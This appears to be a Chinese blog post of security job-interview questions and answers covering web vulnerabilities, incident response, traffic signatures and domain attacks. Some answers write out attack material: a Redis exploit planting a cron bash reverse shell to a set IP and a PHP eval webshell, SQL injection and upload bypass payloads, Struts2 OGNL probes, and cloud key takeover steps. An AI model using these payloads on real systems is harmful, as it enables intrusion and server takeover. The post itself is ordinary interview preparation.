最近把我以前面试hvv以及一些厂商还有看到的一些面试题都整理了一下,基本上都有答案,但是自己的回答难免会有问题或者比较浅显,只是给要找工作的小伙伴一点参考,望大佬勿喷!
1、自我介绍
我的专业是xxx,我现在是大x,我对常见的web漏洞的原理和利用比较熟悉,熟悉linux的suid,sudo等提权方式。
2、讲一下你的项目经历
有过实际的渗透经历,xxxx
有安全服务的经验在xxx有x个月的实习,主要工作内容是:xxx
3、”“符号(反单引号)在PHP语言以及SQL语言中的作用
反引号常见在SQL语句中来包含关键字,比如$sql = "select `user`,username from `Content`";
反引号还有种功能是执行系统命令,比如:
echo `ipconfig`
4、SSRF漏洞有什么漏洞利用思路?
服务器伪造请求,可以探测内网信息,如端口开放情况,查看服务器一些敏感信息/etc、os-release、issus,
得到服务器版本,用户名,可以通过gopher协议,利用gopherus工具执行数据库语句,webshell
然后可以获得账号密码,进一步渗透。
5、1433、 1521、 2375、 3306、 3389、 6379、 7001端口对应的服务名称分别是什么
mssql,oracle, docker服务,mysql,RDP(远程桌面连接),redis,weblogic
6、描述一下Redis未授权访问漏洞的利用方式
定时计划任务:set x "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.137.136/6668 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
写木马(要有写的权限、要知道网站绝对路径,secure_file_priv为空):
config set dir 目录
config set dbfilename 1.php
set a "<?php @eval($_POST[1]);?>
save
7、如果被上传了shell如何检测
定期检查网站服务器的文件变动,尤其是关键目录(如web根目录、系统临时目录等)下的新增或修改文件。
专门的WebShell检测工具或脚本,对服务器上的文件进行扫描和识别,如河马webshell查杀
8、如何区分、处置钓鱼邮件
区分方法:可疑附件、营造恐慌、急切让你修改重置密码、非官方邮件地址、邮件语法出错
处置方法:避免点击链接和附件,使用防病毒软件对邮件进行扫描,检测并隔离邮件中的恶意软件和链接。
记录访问钓鱼网站的内网IP,以便后续排查和溯源。让已接收钓鱼邮件的用户删除邮件
9、sqlmap --os-shell参数分别在面对MySQL和MSsql数据库的原理
其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以上传脚本文件到当前目录下。
另一个则是返回了让我们执行系统命令的命令行,sys_exec()和sys_eval()
Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程
10、预编译的原理
预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,第二次交互发送数据,代
无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生。
11、怎么判断一段告警关于反序列化的漏洞是否成功?
网络层:监控目标服务器是否发起预期外连接(如DNS查询、HTTP请求)。
系统层:检查临时文件创建、进程启动等异常行为(如Linux审计日志/var/log/audit/audit.log)。
日志分析:查看应用日志中的反序列化错误(如Java的InvalidClassException)。
成功标志:
观察到预期恶意行为(如RCE、文件读写、DNS请求)。
应用返回反序列化错误(如ClassNotFoundException)。
失败标志:
数据被安全过滤或抛出安全异常(如InvalidClassException)。
12、查看开机自启服务的命令
查看所有开机自启服务
systemctl list-unit-files --type=service --state=enabled
查看具体服务的自启状态
systemctl is-enabled <服务名> # 如 systemctl is-enabled sshd
查看用户级自启项
systemctl --user list-unit-files --type=service --state=enabled
13、CSRF和SSRF的区别
CSRF(跨站请求伪造)和SSRF(服务器端请求伪造)的区别主要体现在攻击目标、利用方式和防御策略上。
CSRF:利用用户的身份认证状态,诱使用户在已登录的Web应用中执行非本意操作(如修改账户信息、转账等)。
SSRF:利用服务器的请求功能,通过构造恶意输入使服务器向内部或外部系统发起非预期请求(如探测内网、访问敏感资源)。
14、溯源的思路
查找异常通讯流量,查看安全设备如防火墙、入侵检测系统等发出的报警,如扫描IP、威胁阻断、病毒木马、入侵事件等。
IP地址获取:通过分析被攻击系统的日志,获取攻击者的IP地址。
威胁情报收集:
恶意软件分析:获取恶意软件样本,分析样本特征、用户名、ID、邮箱、C2服务器等信息,以进行同源分析。
恶意域名与URL分析:对恶意域名或URL进行Whois查询,获取注册人姓名、地址、电话和邮箱等信息,以进行溯源分析。
15、linux被入侵了你会使用哪些排查命令
last查看登录的用户,history历史命令,ps可疑进程高cpu,检查/etc/passwd、/etc/shadow等系统文件是否被篡改。
仔细查看/var/log/目录下的日志文件,如syslog、messages、kern.log等,查找可疑的活动或错误
16、3389无法连接可能的原因
- 没有开放相关的服务
- 端口被修改了
- 只允许特定的IP连接
- 被防护软件拦截
17、TCP3次握手4次挥手有了解吗?
三次握手过程:
第一次握手:客户端发送一个SYN(同步)包,表示请求建立连接,并携带初始序列号seq=x。
第二次握手:服务器收到SYN包后,回复一个SYN-ACK(同步-确认)包ACK=1,ack=x+1,表示同意建立连接,并发送自己的seq=y。
第三次握手:客户端收到SYN-ACK包后,发送一个ACK(确认)包,ACK=1,ack=y+1,自己的序列号ack=x+1确认连接建立。(防止失效的报文再次发送到服务端)
四次挥手过程:
第一次挥手:客户端发送一个FIN(结束)包,表示希望关闭连接,seq=u。
第二次挥手:服务器收到FIN包后,回复一个ACK包,确认关闭请求,ACK=1,ack=u+1,seq=v。
第三次挥手:服务器发送一个FIN包,表示也希望关闭连接。
第四次挥手:客户端收到FIN包后,回复一个ACK包,确认关闭连接。
通过这样的结构化讲解,可以清晰地向面试官展示你对TCP连接建立和断开的理解。
18、某系统存在SQL注入,但是过滤了空格和union如何绕过
- 空格可以使用加号、/**/、%0a、%0b、%9a绕过
- union可以使用双写、大小写或者使用报错注入、布尔注入extractvalue(1,concat(0x7e,(select user()))),length()、ord()、left()等函数
修复方案:预编译+白名单
19、泄露了AK/SK如何快速验证并扩大攻击面?
- 可能泄露的地方:github、前端源码、heapdump文件(使用jdumpspider工具解密)
- 使用oss浏览器接管存储桶,可以查看、下载、编辑文件
- 腾讯云云主机接管平台:
cosbrowser 网页版 - 行云管家(支持多家云主机厂商)
- 创建用户、下载敏感文件
- 使用cf工具
20、Shiro如何实现反序列化,shiro550和shiro721的区别?
获取Cookie中的rememberMe字段,利用默认Key或者暴破,序列化恶意数据,AES加密,Base64编码,构造恶意序列化数据。
shiro550可以使用默认密钥或者暴破密钥构造攻击,shiro721的利用必须要获得一个登录成功以后的cookie,然后使用Padding Oracle攻击爆破
前者可以通过升级版本到1.2.4及以上版本,后者通过禁用Remmberme功能或者升级框架防范
21、XSS,CSRF的区别?
xss是跨站脚本攻击,服务端将渲染的结果直接返回给浏览器,执行恶意脚本语句
存储型、反射性、DOM型,前面两个会经过服务器,可以使用防火墙过滤,钓鱼、盗取cookie、获取键盘记录、屏幕截图
CSRF是客户端跨站请求伪造攻击,利用用户的身份请求恶意操作,如修改邮箱地址、改密码、改头像地址
22、平时怎么学习安全的?
看公众号如:安全牛、Freebuf、等;网站:freebuf、绿盟科技博客
burpsuite的官方靶场、bilibili的小迪安全、蚁景网安等
23、文件上传黑名单绕过的方法?
可以参考一下我的回答:可以尝试使用php5、phtml、大小写、双写绕过,平时自己收集整理了一个文件上传黑名单后缀的字典,可以放到burpsuite里面去跑一下,看有没有可以绕过的后缀
还可以尝试上传.htaccess或者user.ini文件尝试绕过
24、讲一讲遇到过影响最深刻的一次应急响应。
这里如果有真实的应急响应可以提前组织下语言,确保面试官提问的时候回答得不会比较吃力。
如果没有自己的应急经历,可以把自己打靶场或者看到过的文章熟记下来,能够应对面试官的提问。
25、了解struts2漏洞吗?
文件上传模块对作了OGNL表达式处理,但在判断Content-type不正确的时候会抛出异常并带出属性值
因此一般都是使用:${1111}、%{1111}
查看返回数据是否执行了ognl,例如11*11=121
不过一定要有返回才能这样子测试
对于没有明显回显的Struts2漏洞(代码执行/命令执行)
-
构造时间
代码:java.lang.Thread.sleep(5000) -
生成文件 - 最大问题应该是文件位置
代码:java.io.File('./test.txt') -
带外请求(需要能够连通外网)
代码:new URL(dnslog).openConnection()
构造回显
代码:@org.apache.commons.io.IOUtils@toString(XXXX.getInputStream())
26、最近在学习什么知识?
在学习kerbores协议。
27、黄金票据和白银票据的利用前提
- 需要知道域的名字
- 需要知道SID的值
- 需要krbtgt、目标服务器的NTLM的hash值(白银票据)
- 要伪造的用户名(可以不存在)
28、
- 你了解过或者挖过SRC吗?大概都有什么类型?
如实回答就好了 - 短信轰炸漏洞测过吗?
使用burpsuite多次重发,使用SMS Bomb Fuzzer插件 - 并发漏洞有测试过吗?
一般使用burpsuite的插件turbo intruder进行测试
29、如何区分扫描流量和手动流量?
扫描流量频率高,手动流量频率低。扫描流量会有标准请求头来得到请求的协议版本
且通常只是探测型的,不会像手动流量可能会深入请求。
30、CS的流量特征了解吗?
- 间隔一定时间,均有通信,且流级上的上下行数据长度固定
- 在请求的返回包中,通信数据均隐藏在jqeury*.js中
- 源码特征:checksum8 (92L 93L)
- 默认端口:50050
- 老版本固定的UA头
- 下发指令时,通过心跳包接收指令,这时,server端返回的包更长,甚至包含要加载的dll模块数据。
- 指令执行完后,client端通过POST请求发送执行的结果数据,body部分通过加密和base64编码。
31、用过哪些webshell管理工具,了解它们的流量特征吗?
-
蚁剑
请求中的User-Agent值是:antSword/*
请求中可以检测到的关键字:“eval””eVAL”
请求体存在@ini_set("display_errors", "0");@set_time_limit(0);(开头可能是菜刀或者是蚁剑) -
冰蝎
冰蝎1:冰蝎1有一个密钥协商过程,这个过程是明文传输,并且有两次流量,用来校验冰蝎2:因为内置了很多的UA头,所以当某一个相同IP重复请求,但是UA头不一样的时候就需要注意了冰蝎3:因为省去了协商过程,所以流量上可以绕过很多,但是其他特征依旧保留,比如ua头冰蝎数据包总是伴随着大量的content-type:application什么什么,无论GET还是POST,请求的http中,content-type为application/octet-stream还有他们的accept之类的长度总是等长,正常的根据应用场景和不同文件,长度是不同的
冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加。
固定的请求头:++dFA++XQV1LORcHRQtLRlwMAhwFTAg/M
32、冰蝎3与冰蝎4的区别?
- 加密算法调整
·冰蝎3:默认使用AES加密算法,密钥基于连接密码的MD5前16位生成。
·冰蝎4:支持多种加密方式(如RC4、AES、异或、JSON封装等),且允许用户自定义
加密协议,密钥动态生成或预共享。 - 通信协议差异
冰蝎3:采用自定义二进制协议,流量特征较易被识别。
冰蝎4:改用HTTP/HTTPS协议通信,伪装成正常Web流量,隐蔽性更强。
33、了解内存马吗? - 原理:其原理是先由客户端发起一个web请求,中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作,内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode达到持久化的控制服务器。
- 判断方式:
先判断是通过什么方法注入的内存马,可以先查看 web 日志是否有可疑的 web 访问日志,如果是 filter 或者 listener 类型就会有大量 url 请求路径相同参数不同的,或者页面不存在但是返回 200 的,查看是否有类似哥斯拉、冰蝎相同的 url 请求,哥斯拉和冰蝎的内存马注入流量特征与普通 webshell 的流量特征基本吻合。通过查找返回 200 的 url 路径对比web 目录下是否真实存在文件,如不存在大概率为内存马。如在 web 日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的 error.log 日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在 java 代码执行漏洞以及是否存在过 webshell,排查框架漏洞,反序列化漏洞 - 清除方式:1.利用条件竞争把shell内容改写或者清除比较好用 2.重启服务 3.提前占用他的目录名
34、Fastjson原理了解过吗?
fastjson原理:
在请求包里面中发送恶意的 json 格式 payload,漏洞在处理 json 对象的时候,没有对@type 字段进行过滤,从而导致攻击者可以传入恶意的 TemplatesImpl 类,而这个类有一个字段就是bytecodes,有部分函数会根据这个bytecodes 生成 java 实例,这就达到fastjson 通过字段传入一个类,再通过这个类被生成时执行构造函数
35、log4j2漏洞有了解过吗?
原理:该漏洞主要是由于日志在打印时当遇到${后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行,漏洞特征:${jndi:rmi
36、SQL注入有哪些类型,报错函数有哪些
注入类型:联合注入、报错注入、宽字节注入、二次注入、盲注等
报错函数:updatexml()、extracvalue()、exp()[这里里面的数字大于709就会报错]
37、了解委派攻击的原理吗?
委派是指将域内用户的权限委派给服务账户,使得服务账户能以用户权限访问域内的其他服务。
域内委派主要有三个类型:
-
非约束性委派(Unconstrained Delegation ,UD)
-
约束性委派(Constrained Delegation,CD)
-
基于资源的约束性委派(Resource Based Constrained Delegation,RBCD)
对于非约束性委派,服务账户可以获取被委派用户的TGT,并将TGT缓存到lsass进程中,从而服务账户可使用该TGT模拟用户访问任意服务。非约束性委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。具体流程:
1)用户通过发送一个KRB_AS_REQ的消息,向KDC的AS进行身份验证,请求一个可转发的TGT1
2)KDC在KRB_AS_REP消息中返回了一个可转发的TGT1
3)用户根据上一步获取的可转发的TGT1请求另一个可转发的TGT2,这一步是通过KRB_TGS_REQ消息请求的
4)KDC在KRB_TGS_REP消息中为用户返回可转发的TGT2
5)用户使用步骤2中返回的TGT1向KDC请求的服务1的ST
6)KDC的TGS服务在KRB_TGS_REP消息中返回给用户服务1的ST
7)用户发送KRB_AP_REQ的消息中包含TGT1和服务1的ST、TGT2、TGT2的Session Key
8)服务1以用户的名义向KDC的TGS发送KRB_TGS_REQ,请求服务2的ST。请求中包含用户发过来的TGT2
9)KDC的TGS服务在KRB_TGS_REP消息中返回服务2的ST给服务1,以及服务1可以使用的SessionKey。ST将客户端标识为用户,而不是服务1
10)服务1以用户的名义向服务2发起KRB_AP_RE请求
11)服务2响应服务1的KRB_AP_RE请求
12)有了步骤11这个响应,服务1就可以响应步骤7中用户的KRB_AP_REQ
13)这里的TGT转发委派机制没有限制服务1使用TGT2来申请哪个服务,所以服务1可以用户的名义向KDC申请任何其他服务的ST
14)KDC返回步骤13中请求的ST
15)服务1以用户的名义来请求其他服务
16)服务N将像响应用户的请求一样响应服务1
在该流程中,TGT1请求的ST用于访问服务1,TGT2请求的ST用于访问服务2
从网络攻击者的角度来看,如果攻击者控制了服务1,则攻击者可以诱骗域管理员来访问服务1,然后攻击者可以在服务1机器上获取域管理员的TGT,从而可以用缓存的TGT模拟管理员访问任意的服务,包括域控。
38、给你一个站点,如何渗透?
暴力破解、XSS、sql,接口FUZZ,逻辑绕过,目录扫描,低速度漏扫。
39、heapdump文件知道怎么利用吗?
可以使用JDump工具或其他解密工具,找数据库连接密码等敏感信息。
40、java反序列化和php反序列化有了解吗?
-
Java反序列化
ObjectOutputStream类的writeObject方法可以实现序列化,ObjectInputStream类的readObject方法可以实现反序列化。 -
php序列化使用serialize()函数,反序列化使用unserialize()函数。
41、linux除了内核提权,还了解哪些提权?
suid提权:find / -perm -u=s -type f 2>/dev/null
sudo提权:普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件错误导致提权。
计划任务提权:如果存在可以修改的计划任务且权限高就可以使用这种方法
ls -l /etc/cron*
more /etc/crontab
42、SSRF怎么测试,常用的绕过手法?
可以请求dnslog,如果存在请求解析就代表存在SSRF
绕过手法:
采用http基本身份认证的方式绕过,即@
-限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取域名解析
(3)采取进制转换
(4)采取3XX重定向